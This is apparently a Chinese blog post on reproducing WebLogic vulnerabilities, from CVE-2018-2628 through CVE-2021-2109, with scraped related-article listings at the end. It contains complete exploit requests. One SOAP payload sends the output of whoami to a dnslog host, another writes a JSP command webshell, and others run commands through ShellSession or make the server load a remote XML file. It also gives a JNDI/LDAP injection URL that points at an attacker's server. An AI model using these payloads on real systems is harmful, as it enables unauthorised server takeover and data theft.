    Weblogic 中InboundMsgAbbrevresolveProxyClass处理rmi接口类型,因为只判断了java.rmi.registry.Registry ,找一个其他的RMI 接口绕过,比如java.rmi.activation.Activator为 RMI 对象激活提供支持。


    0x01 影响版本

    Weblogic 10.3.6.0 | 12.1.3.0 | 12.2.1.2 | 12.2.1.3


    0x02 漏洞分析

    其基本原理其实是利用T3协议的缺陷实现了Java虚拟机的RMI:远程方法调用,能够在本地虚拟机上调用远端代码。

    T3也称为丰富套接字,是BEA内部协议,功能丰富,可扩展性好。T3是多工双向和异步协议,经过高度优化,只使用一个套接字和一条线程。借助这种方法,基于Java的客户端可以根据服务器方需求使用多种RMI对象,但仍使用一个套接字和一条线程。

    Weblogic 使用了Apache Commons Collections库,利用Apache Commons Collections库,通过反射的方式执行恶意payload,这里实现反射的函数是InvokerTransformer,他们的共同特点是都需要实现序列化接口才能被反序列化。

    源码分析:http://blog.topsec.com.cn/cve-2018-2628-weblogic


    0x03 漏洞复现

    下载工具上传webshell:https://github.com/jas502n/CVE-2018-2628
    在这里插入图片描述
    访问木马地址,命令需要经过base64编码:
    在这里插入图片描述
    T3 协议通常开放在内网, 外网基本绝迹, 快速检测可以使用nmap:nmap -sV --script=weblogic-t3-info.nse -p 7001

    内网使用最新的利用链即可:https://github.com/Bort-Millipede/WLT3Serial


    Weblogic 任意文件上传漏洞(CVE-2018-2894)

    0x00 漏洞描述

    WebLogic管理端未授权的两个页面存在任意上传漏洞,可直接获取权限。两个页面分别为/ws_utc/begin.do/ws_utc/config.do

    利用该漏洞,可以上传任意jsp文件,进而获取服务器权限。


    0x01 影响版本

    Oracle WebLogic Server 10.3.6.0
    Oracle WebLogic Server 12.1.3.0
    Oracle WebLogic Server 12.2.1.2
    Oracle WebLogic Server 12.2.1.3


    0x02 漏洞分析

    /ws_utc/config.do在开发模式下无需认证,Web Service Test Page在生产模式下默认不开启,利用起来有一定限制。访问/ws_utc/config.do可上传任意文件,而上传文件过程没有做任何过滤和检查。

    源码分析:https://xz.aliyun.com/t/2458


    0x03 漏洞复现

    访问http://your-ip:7001/ws_utc/config.do,设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css。将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的:
    在这里插入图片描述
    然后点击安全 -> 增加,然后上传webshell:
    在这里插入图片描述
    上传后,查看返回的数据包,其中有时间戳:
    在这里插入图片描述
    然后访问http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名],可执行webshell:
    在这里插入图片描述


    Weblogic 反序列化远程代码执行漏洞(CVE-2019-2725)

    0x00 漏洞描述

    Weblogic反序列化远程代码执行漏洞。由于在反序列化处理输入信息的过程中存在缺陷,未经授权的攻击者可以发送特意构造的恶意HTTP请求,利用该漏洞获取服务器权限,实现远程代码执行。


    0x01 影响版本

    Oracle WebLogic Server 10.*
    Oracle WebLogic Server 12.1.3


    0x02 漏洞分析

    该漏洞存在于wls9-async组件,该组件为异步通讯服务,攻击者可以在/_async/AsyncResponseService路径下传入恶意的xml格式的数据,传入的数据在服务器端反序列化时,执行其中的恶意代码,实现远程命令执行,攻击者可以进而获得整台服务器的权限。

    wls9_async组件是默认启用的,访问http://xxxxx/_async/AsyncResponseService 页面(注意不能用/闭合),若出现以下状况,则可能存在漏洞:
    在这里插入图片描述
    或者访问http://xxxxx/_async/ 页面,页面返回403则可能存在漏洞,返回404则不存在:
    在这里插入图片描述
    源码分析:https://www.freebuf.com/articles/web/202203.html


    0x03 漏洞复现

    环境搭建完成后,访问http://xxxxx/_async/AsyncResponseService ,并带上下方poc,用dnslog外带数据:

    POST /_async/AsyncResponseService HTTP/1.1
    Host: IP:PORT
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
    Connection: close
    Content-Length: 859
    Accept-Encoding: gzip, deflate
    SOAPAction:
    Accept: */*
    User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
    Connection: keep-alive
    content-type: text/xml
    
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
    xmlns:asy="http://www.bea.com/async/AsyncResponseService">
    <soapenv:Header>
    <wsa:Action>xx</wsa:Action>
    <wsa:RelatesTo>xx</wsa:RelatesTo>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <void class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
    <void index="0">
    <string>/bin/bash</string>
    </void>
    <void index="1">
    <string>-c</string>
    </void>
    <void index="2">
    <string>ping `whoami`.xxx.dnslog.cn</string>
    </void>
    </array>
    <void method="start"/></void>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body>
    <asy:onAsyncDelivery/>
    </soapenv:Body></soapenv:Envelope>
    
    

    在这里插入图片描述
    在这里插入图片描述

    写入webshell小技巧 ,添加info有路径显示:
    在这里插入图片描述
    利用下方POC上传webshell:

    POST /_async/AsyncResponseService HTTP/1.1
    Host: ip:port
    Content-Length: 1142
    Accept-Encoding: gzip, deflate
    SOAPAction:
    Accept: */*
    User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
    Connection: keep-alive
    content-type: text/xml
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" class="java.beans.xmlDecoder"><object class="java.io.PrintWriter"><string>servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string><void method="println"><string><![CDATA[
    <%
        if("123".equals(request.getParameter("pwd"))){
            java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
            int a = -1;
            byte[] b = new byte[1024];
            out.print("<pre>");
            while((a=in.read(b))!=-1){
                out.println(new String(b));
            }
            out.print("</pre>");
        }
        %>]]>
    </string></void><void method="close"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>
    

    在这里插入图片描述
    访问执行:
    在这里插入图片描述


    Weblogic 管理控制台未授权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883)

    0x00 漏洞描述

    CVE-2020-14882 允许远程用户绕过管理员控制台组件中的身份验证,而 CVE-2020-14883 允许经过身份验证的用户在管理员控制台组件上执行任何命令。使用这两个漏洞的连锁,未经身份验证的远程攻击者可以通过 HTTP 在 Oracle WebLogic 服务器上执行任意命令并完全控制主机。


    0x01 影响版本

    Oracle WebLogic Server 10.3.6.0.0
    Oracle WebLogic Server 12.1.3.0.0
    Oracle WebLogic Server 12.2.1.3.0
    Oracle WebLogic Server 12.2.1.4.0
    Oracle WebLogic Server 14.1.1.0.0


    0x02 漏洞分析

    CVE-2020-14882是绕过weblogic控制台认证:

    1. 访问一些console后台的资源文件的时候,console在处理请求时是不需要登录状态的。
    2. weblogic会对提交的url进行两次url编码。

    通过二者之间的配合,在后续的操作中weblogic并没有对路径穿越进行防范,可访问/console/css/%252e%252e%252fconsole.portal绕过登录限制

    CVE-2020-14883则是经过身份认证的反序列化RCE,两者结合可导致未经身份认证的RCE

    源码分析:http://hackdig.com/11/hack-190259.htm


    0x03 漏洞复现

    正常访问console会跳转至登录页面,访问http://your-ip:7001/console/css/%252e%252e%252fconsole.portal可绕过登录限制访问后台:
    在这里插入图片描述
    这与横穿输入账号认证登录后的页面是有差异的,由于权限不足,缺少部署功能,此时是无权上传webshell的,这时候就需要第二个漏洞CVE-2020-14883

    第一种方式,通过com.tangosol.coherence.mvel2.sh.ShellSession(只对12.2.1 及以上版本利用,因为 10.3.6 不存在该类):
    构造回显payload:

    GET /console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();') HTTP/1.1
    Host: your-ip
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: ADMINCONSOLESESSION=AFM58CIW0tRolAvGMWDy1cDkwKV928cS6c_HVcnAQls_Klr4buGA!-549917897; 
    UM_distinctid=17baaaf137a359-0c8cd346ea5ed58-4c3e247b-1fa400-17baaaf137b3ad
    cmd: id
    Upgrade-Insecure-Requests: 1
    
    
    

    请求头中添加cmd头:
    在这里插入图片描述
    第二种方式,通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext类来加载外部xml执行命令, 是一种更常见的漏洞利用,它首先在CVE-2019-2725中引入,可用于任何 Weblogic 版本。

    受限构造一个XML文件并放在weblogic可访问的服务器上:

    <?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg>
              <list>
                <value>bash</value>
                <value>-c</value>
                <value><![CDATA[touch /tmp/success2]]></value>
              </list>
            </constructor-arg>
        </bean>
    </beans>
    

    然后构造paylod访问如下url:http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(“http://example.com/rce.xml”)

    weblogic将加载外部xml执行其中命令,成功创建文件(利用条件是目标服务器能出外网):
    在这里插入图片描述


    Weblogic LDAP 远程代码执行漏洞(CVE-2021-2109)

    0x00 漏洞描述

    该漏洞为Weblogic的远程代码执行漏洞。漏洞主要由JNDI注入,导致攻击者可构造恶意请求,执行任意代码,从而控制服务器。JDK 6u201、7u191、8u182、11.0.1版本或以上不受CVE-2021-2109漏洞的影响。


    0x01 影响版本

    WebLogic Server 10.3.6.0.0
    WebLogic Server 12.1.3.0.0
    WebLogic Server 12.2.1.3.0
    WebLogic Server 12.2.1.4.0
    WebLogic Server 14.1.1.0.0


    0x02 漏洞分析

    JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。

    RMI是Java远程方法调用,是Java编程语言里一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。

    LDAP是基于X.500标准的轻量级目录访问协议,目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。

    攻击者可通过LDAP协议方式实现JNDI注入攻击,加载远程CodeBase下的恶意类,最后达到远程代码执行

    源码分析:https://zhuanlan.zhihu.com/p/404255545


    0x03 漏洞复现

    访问http://you-ip:7001/console/css/%252e%252e%252f/consolejndi.portal,若存在未授权访问,则影响范围内可能存在此漏洞:
    在这里插入图片描述首先需要在另一台公网服务器(目标机能通的服务器)上启动ldap脚本:https://github.com/feihong-cs/JNDIExploit

    java -jar JNDIExploit-v1.11.jar -i xx.xxx.xxx.xxx (服务器ip)
    

    访问执行命令回显:

    /console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22)
    

    注意,ldap地址的第三个分隔符为分号
    在这里插入图片描述


    参考链接:
    https://xz.aliyun.com/t/2458(WebLogic任意文件上传漏洞复现与分析 -【CVE-2018-2894 】)
    https://blog.csdn.net/xuandao_ahfengren/article/details/106597145(CVE-2018-2628漏洞复现)
    https://blog.csdn.net/yeshankuangrenaaaaa/article/details/107533194(CVE-2019-2725漏洞复现)
    https://144.one/weblogic-cve-2020-1488214883lou-dong-fen-xi.html(weblogic-cve-2020-1488214883)
    https://www.cnblogs.com/xuanlvsec/p/14341151.html(CVE-2021-2109)

    展开全文
  • weblogic漏洞复现

    千次阅读 2022-01-17 10:23:54
    weblogic 漏洞复现 Weblogic ssrf https://www.hetianlab.com/expc.do?ec=ECID9d6c0ca797abec2017021014312200001 实验环境 Weblogic服务器:centos6.5 weblogic版本10.3.6.0,IP 10.1.1.157 Redis服务器:centos...
  • weblogic漏洞补丁文件

    2020-07-18 13:23:56
    1、自2020年开展状态监测系统运维开始,发现告警分析应用程序经常异常终止,每次需要手动开启程序,导致积累大量实时数据无法进行预警分析,对设备运行状态没办法提供有效的提示,目前国网系统版本已经超过领先于...
  • 例子: 127.0.0.1:7001 -v VULNERABILITY [VULNERABILITY ...], --vulnerability VULNERABILITY [VULNERABILITY ...] 漏洞名称或CVE编号,例子:"weblogic administrator console" -o OUTPUT, --output OUTPUT 输出...
  • Weblogic漏洞利用总结

    千次阅读 2021-10-28 10:35:54
    weblogic前言一、pandas是什么?二、使用步骤1.引入库2.读入数据总结 前言 提示:这里可以添加本文要记录的大概内容: 例如:随着人工智能的不断发展,机器学习这门技术也越来越重要,很多人都开启了学习机器学习,...
  • weblogic 漏洞统计 CVE

    2019-09-18 10:03:23
    1.CVE-2016-0696 2.CVE-2016-0700 3.CVE-2016-0675 4.CVE-2016-3416 5.CVE-2016-0688 6.CVE-2016-0638 7.CVE-2015-2623 8.CVE-2015-4744 9.CVE-2014-2480 10.CVE-2014-2481 ...这些漏洞修复情况
  • Weblogic 漏洞复现

    千次阅读 2022-02-28 09:18:51
    0x00 weblogic 简介 WebLogic是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。...0x01 XML反序列化漏洞(CVE-2017-10271)
  • Weblogic漏洞复现

    2021-12-21 11:26:32
    Weblogic管理端未授权的两个页面存在任意上传jsp文件漏洞,进而获取服务器权限。 Oracle修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在 ‘生产模式’ 下默认不开启,所以...
  • vulhub-weblogic漏洞复现集 weak-password CVE-2018-2894 SSRF(CVE-2014-4210) CVE-2020-14882&14883 CVE-2018-2628 CVE-2017-10271
  • 雷石weblogic漏洞扫描工具
  • weblogic漏洞总结复现

    千次阅读 2021-10-07 17:11:44
    title: weblogic漏洞总结复现 date: 2021-10-02 22:05:37 updated: tags: weblogic 中间件 漏洞 categories: 漏洞复现 keywords: description: top_img: cover: weblogic.jpg 简介 WebLogic是美国Oracle公司出品...
  • weblogic漏洞补丁

    2018-07-03 16:19:53
    针对Oracle WebLogic Server远程的漏洞补丁,版本号10.3.6.0.12
  • weblogic漏洞复现整理汇总(vulhub)

    千次阅读 2021-08-19 14:46:36
    weblogic漏洞复现整理汇总(vulhub) 目录weblogic漏洞复现整理汇总(vulhub)一、概述二、任意文件上传漏洞(CVE-2018-2894)1.引入库2.读入数据总结 根据vulhub已有的复现环境,对weblogic漏洞复现进行一个汇总...
  • 渗透测试中使用,可以用于检测weblogic漏洞并执行CMD命令,获取服务器权限,本程序仅供检测和学习用途,请勿用于其他任何非法用途!
  • weblogic 漏洞复现(1)

    2020-12-04 11:42:39
    # 这里采用 vulhub/weblogic漏洞镜像搭建 docker pull vulhub/weblogic:12.2.1.3-2018 # 端口映射 docker run -di -p 7001:7001 -p 8055:8055 vulhub/weblogic:12.2.1.3-2018 二、漏洞信息收集 工具地址 # ...
  • WebLogic反弹需要等5秒左右 2. 该工具为对外测试版,请尽量按照正常思路来用,比如Url填写清楚,IP地址写对了,报错或者抛异常神马的别怪我,调输入校验好蛋疼。 本工具与网上已公布工具优点: 1. 综合实现网上公布...
  • Weblogic漏洞被利用来挖矿,客户受到了影响。学习一下其中的原理。背景2017年12月中旬,安全研究者爆出未打补丁的WebLogic版本存在的漏洞,可能被watch-smarted挖矿恶意软件利用。攻击者利用Weblogic WLS组件漏洞...
  • web安全之weblogic漏洞总结

    千次阅读 2019-12-10 13:38:34
    Weblogic简介 1.1 叙述 Weblogic是美国Oracle公司出品的一个应用服务器(application server),确切的说是一个基于Java EE架构的中间件,是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的...
  • weblogic 漏洞需要替换的jar包
  • weblogic漏洞复现(CVE-2020-2555)

    千次阅读 2020-11-09 17:57:51
    漏洞环境:fofa自己找,server=weblogic port=7001 一、漏洞简介 该反序列化的gadget存在与coherence包中。具体可以见分析 构造chain类似于common-collection的chain,可以照葫芦画瓢。 mvn 好像不能下载...
  • Weblogic漏洞修复记录

    2019-03-28 14:23:00
    以上两个漏洞均是针对weblogic的t3服务进行攻击,如果有条件的,可以从oracle官网下载最新的补丁安装http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html。没有条件的,那么只能通过对...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 7,544
精华内容 3,017
关键字:

weblogic漏洞